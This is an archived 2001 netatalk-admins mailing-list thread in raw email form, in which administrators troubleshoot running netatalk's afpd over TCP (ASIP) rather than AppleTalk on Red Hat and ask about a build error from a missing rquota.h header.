  <DIV>how are you connecting to the server? are you using the server's IP (on 
  the Mac) OR using one of the later ASIP Clients?</DIV>
  <DIV><BR></DIV>
  <DIV>ASIP should be built into the later netatalks. At least as far as I've 
  seen.</DIV>
  <DIV><BR></DIV>
  <DIV>your /var/log/messages should have some lines that read something 
  like:</DIV>
  <DIV><BR></DIV>
  <DIV>Dec&nbsp; 9 11:10:56 nserver afpd[648]: WebServer:AFPServer@* started on 
  2378.153:128 (1.5pre6)</DIV>
  <DIV>Dec&nbsp; 9 11:10:56 nserver afpd[648]: ASIP started on 
  192.168.110.210:548(1) (1.5pre6)</DIV>
  <DIV><BR></DIV>
  <DIV>-wes yates</DIV>
  <DIV>-- <BR><BR>-Wes 
  Yates<BR>gmac63@carolina.rr.com<BR>wesyates.homeip.net<BR><BR><BR>The opinions 
  stated in this email are not necessarily those of the League of Anti-Semitic 
  Jews.</DIV></BLOCKQUOTE></BODY></HTML>

------_=_NextPart_001_01C1825F.6338B7D0--

From netatalk.administrators-errors@umich.edu  Tue Dec 11 11:42:46 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA13350
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 11 Dec 2001 11:42:46 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id LAA18596
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 11 Dec 2001 11:42:46 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id LAA18574
	for netatalk.administrators-members@umich.edu; Tue, 11 Dec 2001 11:42:45 -0500 (EST)
Received: from mail5.carolina.rr.com (fe5.southeast.rr.com [24.93.67.52])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id LAA18537
	for <netatalk-admins@umich.edu>; Tue, 11 Dec 2001 11:42:44 -0500 (EST)
Received: from [192.168.110.21] ([199.72.99.66]) by mail5.carolina.rr.com  with Microsoft SMTPSVC(5.5.1877.687.68);
	 Tue, 11 Dec 2001 11:42:43 -0500
Mime-Version: 1.0
X-Sender: gmac63@pop-server.carolina.rr.com
Message-Id: <a05010400b83be768bc2e@[192.168.110.21]>
In-Reply-To: <8B4EB63B99E19B4C953EECC8C223AD3A2D745E@ksvcmail.ksvc.com>
References: <8B4EB63B99E19B4C953EECC8C223AD3A2D745E@ksvcmail.ksvc.com>
Date: Tue, 11 Dec 2001 11:42:38 -0500
To: netatalk-admins@umich.edu
From: Wes Yates <gmac63@carolina.rr.com>
Subject: RE: Apple Share of IP
Content-Type: multipart/alternative; boundary="============_-1204033533==_ma============"

--============_-1204033533==_ma============
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

>I have the version of netatalk 1.4b2+asun2.1.3-6.i386
>
>I get something similiar to you
>
>localhost afpd[2513]:  FileServer:AFPServer@* started on 
>65280.153:128 (1.4b2+asun2.1.3)
>localhost afpd[2513]:  ASIP started on 127.0.0.1:12000(2) (1.4b2+asun2.1.3)
>localhost afpd[2517]:  session from 65280.249:246 on 65280.152.129
>
>What stands out to me is my local loop back address, should that be 
>my IP 192.168.10.57?
>
>I am using Mac OS 9 and connecting through the chooser.
>
>Brian Curtis
>
>Information Technology Manager
>Red-Wire
>Kelliher Samets Volk
>802.862.8261

As mine goes, yes. What do you have for your atalkd.conf? OS 9 has 
ASIP client, so thats no issue. Can you see the server from a Mac?

65280.153:128 is your appletalk net:node number and 127.0.0.1 is the 
interface its working off. mine is working off eth0.

-Wes Yates


-- 

-Wes Yates
gmac63@carolina.rr.com
wesyates.homeip.net

-----------------------------------------------------------------------
"The source flows through all living things, some more than others. Only
those in tune with the source are worthy of being called, Jedi.

Proprietary code leads to fear... fear leads to anger... anger leads 
to hate... hate leads to suffering!"

~spot, Jedi master
--============_-1204033533==_ma============
Content-Type: text/html; charset="us-ascii"

<!doctype html public "-//W3C//DTD W3 HTML//EN">
<html><head><style type="text/css"><!--
blockquote, dl, ul, ol, li { margin-top: 0 ; margin-bottom: 0 }
 --></style><title>RE: Apple Share of IP</title></head><body>
<blockquote type="cite" cite><font face="Arial" size="-1"
color="#0000FF">I have the version of netatalk
1.4b2+asun2.1.3-6.i386</font></blockquote>
<blockquote type="cite" cite>&nbsp;</blockquote>
<blockquote type="cite" cite><font face="Arial" size="-1"
color="#0000FF">I get something similiar to you</font></blockquote>
<blockquote type="cite" cite>&nbsp;</blockquote>
<blockquote type="cite" cite><font face="Arial" size="-1"
color="#0000FF"><i>localhost afpd[2513]:&nbsp; FileServer:AFPServer@*
started on 65280.153:128 (1.4b2+asun2.1.3)</i></font></blockquote>
<blockquote type="cite" cite><font face="Arial" size="-1"
color="#0000FF"><i>localhost afpd[2513]:&nbsp; ASIP started on
127.0.0.1:12000(2) (1.4b2+asun2.1.3)</i></font></blockquote>
<blockquote type="cite" cite><font face="Arial" size="-1"
color="#0000FF"><i>localhost afpd[2517]:&nbsp; session from
65280.249:246 on 65280.152.129</i></font></blockquote>
<blockquote type="cite" cite>&nbsp;</blockquote>
<blockquote type="cite" cite><font face="Arial" size="-1"
color="#0000FF">What stands out to me is my local loop back address,
should that be my IP 192.168.10.57?</font></blockquote>
<blockquote type="cite" cite>&nbsp;</blockquote>
<blockquote type="cite" cite><font face="Arial" size="-1"
color="#0000FF">I am using Mac OS 9 and connecting through the
chooser.</font><br>
</blockquote>
<blockquote type="cite" cite><font face="Arial" size="-1"><b>Brian
Curtis</b></font><br>
<blockquote><font face="Arial" size="-1"><i>Information Technology
Manager</i></font><br>
<font face="Arial" size="-1"><i>Red-Wire</i></font><br>
<font face="Arial" size="-1"><i>Kelliher Samets Volk</i></font><br>
<font face="Arial" size="-1"><i>802.862.8261</i></font></blockquote>
</blockquote>
<div><br></div>
<div>As mine goes, yes. What do you have for your atalkd.conf? OS 9
has ASIP client, so thats no issue. Can you see the server from a
Mac?</div>
<div><br></div>
<div><font face="Arial" size="-1"
color="#0000FF"><i>65280.153:128</i></font> is your appletalk net:node
number and<font face="Arial" size="-1" color="#0000FF"><i>
127.0.0.1</i></font> is the interface its working off. mine is working
off eth0.</div>
<div><br></div>
<div>-Wes Yates</div>
<div><br></div>
<div><br></div>

<div>-- <br>
<br>
-Wes Yates<br>
gmac63@carolina.rr.com<br>
wesyates.homeip.net<br>
<br>
---------------------------------------------------------------------<span
></span>--<br>
&quot;The source flows through all living things, some more than
others. Only <br>
those in tune with the source are worthy of being called, Jedi.<br>
<br>
Proprietary code leads to fear... fear leads to anger... anger leads
to hate... hate leads to suffering!&quot;<br>
<br>
~spot, Jedi master</div>
</body>
</html>
--============_-1204033533==_ma============--

From netatalk.administrators-errors@umich.edu  Tue Dec 11 11:50:20 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA13697
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 11 Dec 2001 11:50:20 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id LAA02771
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 11 Dec 2001 11:50:20 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id LAA02752
	for netatalk.administrators-members@umich.edu; Tue, 11 Dec 2001 11:50:20 -0500 (EST)
Received: from ksvcmail.ksvc.com ([64.30.10.241])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id LAA02722
	for <netatalk-admins@umich.edu>; Tue, 11 Dec 2001 11:50:19 -0500 (EST)
Received: by ksvcmail.ksvc.com with Internet Mail Service (5.5.2653.19)
	id <Y2MT5DTK>; Tue, 11 Dec 2001 11:44:17 -0500
Message-ID: <8B4EB63B99E19B4C953EECC8C223AD3A2D745F@ksvcmail.ksvc.com>
From: Brian Curtis <Bcurtis@KSVC.com>
To: "'Wes Yates'" <gmac63@carolina.rr.com>,
        "'netatalk-admins@umich.edu'"
	 <netatalk-admins@umich.edu>
Subject: RE: Apple Share of IP
Date: Tue, 11 Dec 2001 11:44:07 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C18263.0CDBA920"

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C18263.0CDBA920
Content-Type: text/plain

I can see the server through the chooser and I can load the shared point ok.
It just uses AppleTalk and I want it to go through ASIP.
 
I entered eth0 into atalkd.conf
 
It now says
eth0 -phase 2 -net 0-65534 - addr 65280.153
 
 

Brian Curtis 

Information Technology Manager 
Red-Wire 
Kelliher Samets Volk 
802.862.8261 

-----Original Message-----
From: Wes Yates [mailto:gmac63@carolina.rr.com] 
Sent: Tuesday, December 11, 2001 11:43 AM
To: netatalk-admins@umich.edu
Subject: RE: Apple Share of IP



I have the version of netatalk 1.4b2+asun2.1.3-6.i386

 

I get something similiar to you

 

localhost afpd[2513]:  FileServer:AFPServer@* started on 65280.153:128
(1.4b2+asun2.1.3)

localhost afpd[2513]:  ASIP started on 127.0.0.1:12000(2) (1.4b2+asun2.1.3)

localhost afpd[2517]:  session from 65280.249:246 on 65280.152.129

 

What stands out to me is my local loop back address, should that be my IP
192.168.10.57?

 

I am using Mac OS 9 and connecting through the chooser.


Brian Curtis


Information Technology Manager
Red-Wire
Kelliher Samets Volk
802.862.8261


As mine goes, yes. What do you have for your atalkd.conf? OS 9 has ASIP
client, so thats no issue. Can you see the server from a Mac?

65280.153:128 is your appletalk net:node number and 127.0.0.1 is the
interface its working off. mine is working off eth0.

-Wes Yates


-- 

-Wes Yates
gmac63@carolina.rr.com
wesyates.homeip.net

-----------------------------------------------------------------------
"The source flows through all living things, some more than others. Only 
those in tune with the source are worthy of being called, Jedi.

Proprietary code leads to fear... fear leads to anger... anger leads to
hate... hate leads to suffering!"

~spot, Jedi master


------_=_NextPart_001_01C18263.0CDBA920
Content-Type: text/html

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=US-ASCII">
<TITLE>Message</TITLE>

<STYLE type=text/css>BLOCKQUOTE {
	MARGIN-TOP: 0px; MARGIN-BOTTOM: 0px
}
DL {
	MARGIN-TOP: 0px; MARGIN-BOTTOM: 0px
}
UL {
	MARGIN-TOP: 0px; MARGIN-BOTTOM: 0px
}
OL {
	MARGIN-TOP: 0px; MARGIN-BOTTOM: 0px
}
LI {
	MARGIN-TOP: 0px; MARGIN-BOTTOM: 0px
}
</STYLE>

<META content="MSHTML 6.00.2600.0" name=GENERATOR></HEAD>
<BODY>
<DIV><SPAN class=556084616-11122001><FONT face=Arial color=#0000ff size=2>I can 
see the server through the chooser and I can load the shared point ok.&nbsp; It 
just uses AppleTalk and I want it to go through ASIP.</FONT></SPAN></DIV>
<DIV><SPAN class=556084616-11122001><FONT face=Arial color=#0000ff 
size=2></FONT></SPAN>&nbsp;</DIV>
<DIV><SPAN class=556084616-11122001><FONT face=Arial color=#0000ff size=2>I 
entered eth0 into atalkd.conf</FONT></SPAN></DIV>
<DIV><SPAN class=556084616-11122001><FONT face=Arial color=#0000ff 
size=2></FONT></SPAN>&nbsp;</DIV>
<DIV><SPAN class=556084616-11122001><FONT face=Arial color=#0000ff size=2>It now 
says</FONT></SPAN></DIV>
<DIV><SPAN class=556084616-11122001><EM><FONT face=Arial color=#0000ff 
size=2>eth0 -phase 2 -net 0-65534 - addr 65280.153</FONT></EM></SPAN></DIV>
<DIV>&nbsp;</DIV>
<DIV>&nbsp;</DIV><!-- Converted from text/rtf format -->
<P><SPAN lang=en-us><B><FONT face=Arial size=2>Brian Curtis</FONT></B></SPAN> 
</P>
<P><SPAN lang=en-us><I><FONT face=Arial size=2>Information Technology 
Manager</FONT></I></SPAN> <BR><SPAN lang=en-us><I><FONT face=Arial 
size=2>Red-Wire</FONT></I></SPAN> <BR><SPAN lang=en-us><I><FONT face=Arial 
size=2>Kelliher Samets Volk</FONT></I></SPAN> <BR><SPAN lang=en-us><I><FONT 
face=Arial size=2>802.862.8261</FONT></I></SPAN> </P>
<BLOCKQUOTE dir=ltr style="MARGIN-RIGHT: 0px">
  <DIV></DIV>
  <DIV class=OutlookMessageHeader lang=en-us dir=ltr align=left><FONT 
  face=Tahoma size=2>-----Original Message-----<BR><B>From:</B> Wes Yates 
  [mailto:gmac63@carolina.rr.com] <BR><B>Sent:</B> Tuesday, December 11, 2001 
  11:43 AM<BR><B>To:</B> netatalk-admins@umich.edu<BR><B>Subject:</B> RE: Apple 
  Share of IP<BR><BR></FONT></DIV>
  <BLOCKQUOTE cite="" type="cite"><FONT face=Arial color=#0000ff size=-1>I 
    have the version of netatalk 1.4b2+asun2.1.3-6.i386</FONT></BLOCKQUOTE>
  <BLOCKQUOTE cite="" type="cite">&nbsp;</BLOCKQUOTE>
  <BLOCKQUOTE cite="" type="cite"><FONT face=Arial color=#0000ff size=-1>I get 
    something similiar to you</FONT></BLOCKQUOTE>
  <BLOCKQUOTE cite="" type="cite">&nbsp;</BLOCKQUOTE>
  <BLOCKQUOTE cite="" type="cite"><FONT face=Arial color=#0000ff 
    size=-1><I>localhost afpd[2513]:&nbsp; FileServer:AFPServer@* started on 
    65280.153:128 (1.4b2+asun2.1.3)</I></FONT></BLOCKQUOTE>
  <BLOCKQUOTE cite="" type="cite"><FONT face=Arial color=#0000ff 
    size=-1><I>localhost afpd[2513]:&nbsp; ASIP started on 127.0.0.1:12000(2) 
    (1.4b2+asun2.1.3)</I></FONT></BLOCKQUOTE>
  <BLOCKQUOTE cite="" type="cite"><FONT face=Arial color=#0000ff 
    size=-1><I>localhost afpd[2517]:&nbsp; session from 65280.249:246 on 
    65280.152.129</I></FONT></BLOCKQUOTE>
  <BLOCKQUOTE cite="" type="cite">&nbsp;</BLOCKQUOTE>
  <BLOCKQUOTE cite="" type="cite"><FONT face=Arial color=#0000ff size=-1>What 
    stands out to me is my local loop back address, should that be my IP 
    192.168.10.57?</FONT></BLOCKQUOTE>
  <BLOCKQUOTE cite="" type="cite">&nbsp;</BLOCKQUOTE>
  <BLOCKQUOTE cite="" type="cite"><FONT face=Arial color=#0000ff size=-1>I am 
    using Mac OS 9 and connecting through the chooser.</FONT><BR></BLOCKQUOTE>
  <BLOCKQUOTE cite="" type="cite"><FONT face=Arial size=-1><B>Brian 
    Curtis</B></FONT><BR>
    <BLOCKQUOTE><FONT face=Arial size=-1><I>Information Technology 
      Manager</I></FONT><BR><FONT face=Arial 
      size=-1><I>Red-Wire</I></FONT><BR><FONT face=Arial size=-1><I>Kelliher 
      Samets Volk</I></FONT><BR><FONT face=Arial 
      size=-1><I>802.862.8261</I></FONT></BLOCKQUOTE></BLOCKQUOTE>
  <DIV><BR></DIV>
  <DIV>As mine goes, yes. What do you have for your atalkd.conf? OS 9 has ASIP 
  client, so thats no issue. Can you see the server from a Mac?</DIV>
  <DIV><BR></DIV>
  <DIV><FONT face=Arial color=#0000ff size=-1><I>65280.153:128</I></FONT> is 
  your appletalk net:node number and<FONT face=Arial color=#0000ff size=-1><I> 
  127.0.0.1</I></FONT> is the interface its working off. mine is working off 
  eth0.</DIV>
  <DIV><BR></DIV>
  <DIV>-Wes Yates</DIV>
  <DIV><BR></DIV>
  <DIV><BR></DIV>
  <DIV>-- <BR><BR>-Wes 
  Yates<BR>gmac63@carolina.rr.com<BR>wesyates.homeip.net<BR><BR>---------------------------------------------------------------------<SPAN></SPAN>--<BR>"The 
  source flows through all living things, some more than others. Only <BR>those 
  in tune with the source are worthy of being called, Jedi.<BR><BR>Proprietary 
  code leads to fear... fear leads to anger... anger leads to hate... hate leads 
  to suffering!"<BR><BR>~spot, Jedi master</DIV></BLOCKQUOTE></BODY></HTML>

------_=_NextPart_001_01C18263.0CDBA920--

From netatalk.administrators-errors@umich.edu  Tue Dec 11 11:52:41 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA13803
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 11 Dec 2001 11:52:41 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id LAA06597
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 11 Dec 2001 11:52:41 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id LAA06578
	for netatalk.administrators-members@umich.edu; Tue, 11 Dec 2001 11:52:40 -0500 (EST)
Received: from mail7.carolina.rr.com (fe7.southeast.rr.com [24.93.67.54])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id LAA06453
	for <netatalk-admins@umich.edu>; Tue, 11 Dec 2001 11:52:39 -0500 (EST)
Received: from [192.168.110.21] ([199.72.99.66]) by mail7.carolina.rr.com  with Microsoft SMTPSVC(5.5.1877.687.68);
	 Tue, 11 Dec 2001 11:52:34 -0500
Mime-Version: 1.0
X-Sender: gmac63@pop-server.carolina.rr.com
Message-Id: <a05010403b83bea1a5e4a@[192.168.110.21]>
In-Reply-To: <8B4EB63B99E19B4C953EECC8C223AD3A2D745F@ksvcmail.ksvc.com>
References: <8B4EB63B99E19B4C953EECC8C223AD3A2D745F@ksvcmail.ksvc.com>
Date: Tue, 11 Dec 2001 11:52:34 -0500
To: netatalk-admins@umich.edu
From: Wes Yates <gmac63@carolina.rr.com>
Subject: RE: Apple Share of IP
Content-Type: multipart/alternative; boundary="============_-1204032941==_ma============"

--============_-1204032941==_ma============
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

>I can see the server through the chooser and I can load the shared 
>point ok.  It just uses AppleTalk and I want it to go through ASIP.
>
>I entered eth0 into atalkd.conf
>
>It now says
>eth0 -phase 2 -net 0-65534 - addr 65280.153
>


That should work. restart atalk and check the /var/log/messages.

-wes

-- 

-Wes Yates
gmac63@carolina.rr.com
wesyates.homeip.net

<-= Tag removed to protect the innocent =->

--============_-1204032941==_ma============
Content-Type: text/html; charset="us-ascii"

<!doctype html public "-//W3C//DTD W3 HTML//EN">
<html><head><style type="text/css"><!--
blockquote, dl, ul, ol, li { margin-top: 0 ; margin-bottom: 0 }
 --></style><title>RE: Apple Share of IP</title></head><body>
<blockquote type="cite" cite><font face="Arial" size="-1"
color="#0000FF">I can see the server through the chooser and I can
load the shared point ok.&nbsp; It just uses AppleTalk and I want it
to go through ASIP.</font></blockquote>
<blockquote type="cite" cite>&nbsp;</blockquote>
<blockquote type="cite" cite><font face="Arial" size="-1"
color="#0000FF">I entered eth0 into atalkd.conf</font></blockquote>
<blockquote type="cite" cite>&nbsp;</blockquote>
<blockquote type="cite" cite><font face="Arial" size="-1"
color="#0000FF">It now says</font></blockquote>
<blockquote type="cite" cite><font face="Arial" size="-1"
color="#0000FF"><i>eth0 -phase 2 -net 0-65534 - addr
65280.153</i></font></blockquote>
<blockquote type="cite" cite>&nbsp;</blockquote>
<div><br></div>
<div><br></div>
<div>That should work. restart atalk and check the
/var/log/messages.</div>
<div><br></div>
<div>-wes</div>
<div><br></div>

<div>-- <br>
<br>
-Wes Yates<br>
gmac63@carolina.rr.com<br>
wesyates.homeip.net<br>
<br>
&lt;-= Tag removed to protect the innocent =-&gt;<br>
</div>
</body>
</html>
--============_-1204032941==_ma============--

From netatalk.administrators-errors@umich.edu  Tue Dec 11 12:04:38 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id MAA14442
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 11 Dec 2001 12:04:38 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id MAA05779
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 11 Dec 2001 12:04:37 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id MAA05771
	for netatalk.administrators-members@umich.edu; Tue, 11 Dec 2001 12:04:37 -0500 (EST)
Received: from users.phg-online.de (users.phg-online.de [62.245.158.230])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id MAA05732
	for <netatalk-admins@umich.edu>; Tue, 11 Dec 2001 12:04:35 -0500 (EST)
Received: from [195.30.238.157] (powerbook-tk.kaiser.link-m.de [195.30.238.157])
	by users.phg-online.de (8.9.3/8.9.3) with ESMTP id SAA16582;
	Tue, 11 Dec 2001 18:26:51 +0100
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2106
Date: Tue, 11 Dec 2001 18:04:26 +0100
Subject: Re: Apple Share of IP
From: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
To: Brian Curtis <Bcurtis@KSVC.com>
CC: <netatalk-admins@umich.edu>
Message-ID: <B83BFB29.15F3B%Thomas.Kaiser@phg-online.de>
In-Reply-To: <8B4EB63B99E19B4C953EECC8C223AD3A2D745F@ksvcmail.ksvc.com>
Mime-version: 1.0
Content-type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id MAA14442

On Tue, 11 Dec 2001 11:44:07 -0500, Brian Curtis wrote:

> I can see the server through the chooser and I can load the shared point ok.
> It just uses AppleTalk and I want it to go through ASIP.
> 
> I entered eth0 into atalkd.conf
> 
> It now says
> eth0 -phase 2 -net 0-65534 - addr 65280.153

Okay. AppleTalk is working fine.

Now you should configure the correct settings so that your server will also
supply the correct IP address when connecting, so that your AppleShare
clients will try it with AFPoverTCP instead of AFPoverAppleTalk (what's
happening behind the scenes while you are logging in is discussed here
<http://www.umich.edu/~rsug/netatalk/archive/admins/2001/0016.html> -- you
might want to try google's cached version as the host seems to be down right
now: <http://www.google.com/search?q=cache:_fy_Vwp6Dpg:www.umich.edu/~rsug/n
etatalk/archive/admins/2001/0016.html>).

What looks your afpd.conf like? You are using netatalk 1.42 with
asun-patches so you should have there a line with your Servers NBP name
(AppleTalk name as shown in chooser) followed by "-address [eth0's ip
address]"

As you are using redhat please take care of your /etc/hosts file. Make sure
the first line in it lists also the real eth0 ip address and *not*
"127.0.0.1 localhost" (I think this will fix it already but it might also be
better to explicitely configure the ip address in afpd.conf)

Regards,

Thomas


From netatalk.administrators-errors@umich.edu  Tue Dec 11 15:22:07 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA23348
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 11 Dec 2001 15:22:07 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id PAA03950
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 11 Dec 2001 15:22:07 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id PAA03939
	for netatalk.administrators-members@umich.edu; Tue, 11 Dec 2001 15:22:07 -0500 (EST)
Received: from mail5.carolina.rr.com (fe5.southeast.rr.com [24.93.67.52])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id PAA03894
	for <netatalk-admins@umich.edu>; Tue, 11 Dec 2001 15:22:05 -0500 (EST)
Received: from [192.168.110.21] ([199.72.99.66]) by mail5.carolina.rr.com  with Microsoft SMTPSVC(5.5.1877.687.68);
	 Tue, 11 Dec 2001 15:22:04 -0500
Mime-Version: 1.0
X-Sender: gmac63@pop-server.carolina.rr.com
Message-Id: <a05010404b83c1b4bef33@[192.168.110.21]>
In-Reply-To: <B83BFB29.15F3B%Thomas.Kaiser@phg-online.de>
References: <B83BFB29.15F3B%Thomas.Kaiser@phg-online.de>
Date: Tue, 11 Dec 2001 15:22:03 -0500
To: netatalk-admins@umich.edu
From: Wes Yates <gmac63@carolina.rr.com>
Subject: Re: Apple Share of IP
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

>On Tue, 11 Dec 2001 11:44:07 -0500, Brian Curtis wrote:



>As you are using redhat please take care of your /etc/hosts file. Make sure
>the first line in it lists also the real eth0 ip address and *not*
>"127.0.0.1 localhost" (I think this will fix it already but it might also be
>better to explicitely configure the ip address in afpd.conf)
>
>Regards,
>
>Thomas

Oh yes! Do this. I forgot...

-wes

-- 

-Wes Yates
gmac63@carolina.rr.com
wesyates.homeip.net


"...no, your other backslash."

From netatalk.administrators-errors@umich.edu  Tue Dec 11 17:24:05 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id RAA28998
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 11 Dec 2001 17:24:05 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id RAA28172
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 11 Dec 2001 17:24:05 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id RAA28154
	for netatalk.administrators-members@umich.edu; Tue, 11 Dec 2001 17:24:04 -0500 (EST)
Received: from netserver.isecorp.com (64-48-115-250.customer.algx.net [64.48.115.250])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id RAA28089
	for <netatalk-admins@umich.edu>; Tue, 11 Dec 2001 17:24:03 -0500 (EST)
Received: (qmail 8891 invoked by uid 505); 11 Dec 2001 22:24:01 -0000
Received: from bswopes@isecorp.com by netserver.isecorp.com with qmail-scanner-0.95 (uvscan: v4.1.40/v4175. . Clean. Processed in 0.117018 secs); 11 Dec 2001 22:24:01 -0000
Received: from bswopes.isecorp.com (HELO bswopes) (192.168.1.64)
  by netserver.isecorp.com with SMTP; 11 Dec 2001 22:24:00 -0000
From: "Blake R. Swopes" <bswopes@isecorp.com>
To: <netatalk-admins@umich.edu>
Subject: 'make' problems - What provides rpcsvc/rquota.h?
Date: Tue, 11 Dec 2001 14:23:15 -0800
Message-ID: <BAECKHLFBCDACOFIIOLBAEMMCAAA.bswopes@isecorp.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0)
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
Importance: Normal

I'm having problems 'make'ing netatalk on our rh7.0 system. Compile fails
because of a missing header file "rpcsvc/rquota.h".

nfsquota.c:50:27: rpcsvc/rquota.h: No such file or directory
make[4]: *** [nfsquota.o] Error 1
make[4]: Leaving directory `/usr/home/bswopes/src/netatalk-1.5pre8/etc/afpd'

We don't use nfs here, so if it would be possible to just disable that and
bypass this issue, I'd be thrilled. There didn't seem to be an option for
that in configure, though.

TIA



From netatalk.administrators-errors@umich.edu  Tue Dec 11 17:52:28 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id RAA00476
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 11 Dec 2001 17:52:28 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id RAA10797
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 11 Dec 2001 17:52:28 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id RAA10773
	for netatalk.administrators-members@umich.edu; Tue, 11 Dec 2001 17:52:28 -0500 (EST)
Received: from anubis.fizbin.com ([216.133.242.4])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id RAA10723
	for <netatalk-admins@umich.edu>; Tue, 11 Dec 2001 17:52:26 -0500 (EST)
Received: from [192.168.0.151] (cx428818-b.irvn1.occa.home.com [24.177.19.184])
	by anubis.fizbin.com (8.11.6/8.11.6) with ESMTP id fBBMpLD24932;
	Tue, 11 Dec 2001 14:51:21 -0800
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Tue, 11 Dec 2001 14:52:08 -0800
Subject: Re: 'make' problems - What provides rpcsvc/rquota.h?
From: Steve Freitas <sflist@ihonk.com>
To: "Blake R. Swopes" <bswopes@isecorp.com>, <netatalk-admins@umich.edu>
Message-ID: <B83BCE18.A00D%sflist@ihonk.com>
In-Reply-To: <BAECKHLFBCDACOFIIOLBAEMMCAAA.bswopes@isecorp.com>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

